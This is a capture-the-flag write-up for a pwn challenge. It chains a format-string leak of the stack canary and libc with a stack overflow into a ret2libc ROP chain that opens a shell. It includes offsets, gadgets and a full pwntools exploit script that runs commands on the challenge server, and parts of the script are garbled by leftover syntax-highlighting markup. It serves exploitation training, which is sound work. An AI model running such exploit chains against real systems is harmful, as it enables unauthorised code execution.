ucas
Flag: gaslightCTF{m4n1f3st1ng_e4sy_0ff3r5_f0r_ev3ry0n3_c2b03a9886c1}
Overview
ucas is the "university application" challenge (a play on the UK UCAS admissions system). It has two bugs:
- A format string on the "name" field:
printf(name). - A stack buffer overflow in the third essay field, reachable because the format string lets us leak the stack canary and libc.
Exploit: leak canary + libc through the format string, then overflow the third essay field with the correct canary and a ret2libc ROP chain to system("/bin/sh").
Mitigations
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledCanary + NX + PIE, but no win function, so ret2libc. Ships the same glibc 2.42-61 as thirds (BuildID 07dd7544…).
Disassembly of main (offset 0x1179)
sub rsp, 0xfe0
canary stored at [rbp-0x8]
int counter at [rbp-0xfd4] = 0
puts("welcome to the ucas portal")
printf("please enter your name: ")
fgets(name, 0x10, stdin) ; name at rbp-0xfd0 (16 bytes)
printf("welcome, ")
printf(name) ; <-- FORMAT STRING BUG
printf("Why do you want to study this course or subject? ")
; three essay fields, each:
; fgets(buf, 0xfa0 - counter, stdin) ; A@rbp-0xfc0, B@rbp-0xa80, C@rbp-0x540
; counter += strlen(buf)
if (counter > 0xfa0) "your essay is too long", return
printf("your essay is %d chars long\n", counter)
if (counter & 7) "you got no offers..." / else "congrats..."
canary check -> leave; retWhy the third field overflows
Field C is 1344 bytes below rbp. Its read size is 0xfa0 - counter; if A and B are nearly empty, counter ~ 0, so C can take up to ~3998 bytes — far past rbp. The only guard is the canary at rbp-0x8, which the format string defeats.
Offsets inside field C's input (C starts at rbp-0x540):
- offset
1336→[rbp-0x8]canary - offset
1344→ saved RBP - offset
1352→ saved return address (ROP chain starts here)
Leaks via the format string
When printf(name) runs, rsp = rbp-0xfe0, and variadic args are read from rsp upward (args 1-5 are rsi,rdx,rcx,r8,r9, arg N at [rsp + 8*(N-6)]):
canary = %513$ (rsp + 0xfd8 = rbp-0x8)
saved rbp = %514$
libc ret = %515$ (return address -> libc + 0x2b285)%515$ is the return address after the call *[rbp-0x78] to main inside __libc_start_call_main; the file offset of that instruction is 0x2b285, so:
libc_base = leak_515 - 0x2b285A single %513$p.%515$p (13 bytes, fits the 16-byte name buffer) leaks both.
ROP chain
ret; pop rdi; ret; "/bin/sh"; systemGadgets/offsets in the shipped libc.so.6:
system = libc_base + 0x58860
pop rdi;ret = libc_base + 0xfc08d
ret = libc_base + 0x2930b (16-byte alignment, as in good-enough)
"/bin/sh" = libc_base + 0x1c3ed9Full payload
payload = b'A'*1336 # pad to canary
+ p64(canary) # leaked
+ b'B'*8 # saved rbp (don't care)
+ p64(base+ret)
+ p64(base+pop_rdi)
+ p64(base+binsh)
+ p64(base+system)Notes:
fgetshandles NUL bytes fine (only stops at newline) but the payload may not contain0x0a— on a collision, just reconnect (fresh canary).strlen(C)stops at the canary's NUL byte, socounterstays tiny and both sanity checks pass before we hijack the return.
Exploit script
Connect with ncat --ssl. The socket's stdout is bursty/fully-buffered — collect output in a loop, don't trust a single recv.
from pwn import *
import re, time
HOST = class="hljs-string">'HOST.play.gaslightctf.cooking'
PORT = 31337
libc = ELF(class="hljs-string">'./libc.so.6', checksec=False)
SYSTEM, POPRDI, RET_G, BINSH, LIBC_RET = \
libc.sym[class="hljs-string">'system'], 0xfc08d, 0x2930b, 0x1c3ed9, 0x2b285
while True:
p = remote(HOST, PORT, ssl=True)
p.recvuntil(bclass="hljs-string">'name: ', timeout=5)
p.sendline(bclass="hljs-string">'%513$p.%515$p')
buf = p.recvuntil(bclass="hljs-string">'Why do you want', timeout=5)
m = re.search(rbclass="hljs-string">'welcome, (0x[0-9a-fA-F]+)\.(0x[0-9a-fA-F]+)', buf)
if not m:
p.close(); continue
canary = int(m.group(1), 16)
base = int(m.group(2), 16) - LIBC_RET
p.sendline(bclass="hljs-string">'x'); p.sendline(bclass="hljs-string">'x') # fields A, B nearly empty
payload = bclass="hljs-string">'A'*1336 + p64(canary) + bclass="hljs-string">'B'*8 + \
p64(base+RET_G) + p64(base+POPRDI) + p64(base+BINSH) + p64(base+SYSTEM)
if bclass="hljs-string">'\x0a' in payload:
p.close(); continue
p.sendline(payload)
time.sleep(0.5)
p.sendline(bclass="hljs-string">'echo STARTMARK; cat flag*; echo ENDMARK')
out = bclass="hljs-string">''
t = time.time() + 10
while time.time() < t and out.count(bclass="hljs-string">'ENDMARK') == 0:
try:
d = p.recv(timeout=1)
except EOFError:
break
if d:
out += d
print(out.decode())
if bclass="hljs-string">'gaslightCTF' in out:
break
p.close()Lessons
- A format string doesn't have to be a write primitive: used as a read it can leak canary + libc, unblocking a plain overflow.
- Positional specifiers (
%513$p) reach arbitrary stack depths — compute positions from frame geometry (rspat the call site vs. where the object lives). strlenstopping at NUL can be your friend — it keeps the length-counter checks under the threshold.- Fully-buffered socket stdout caused the ROP to look like it failed; it hadn't — the output was just delayed.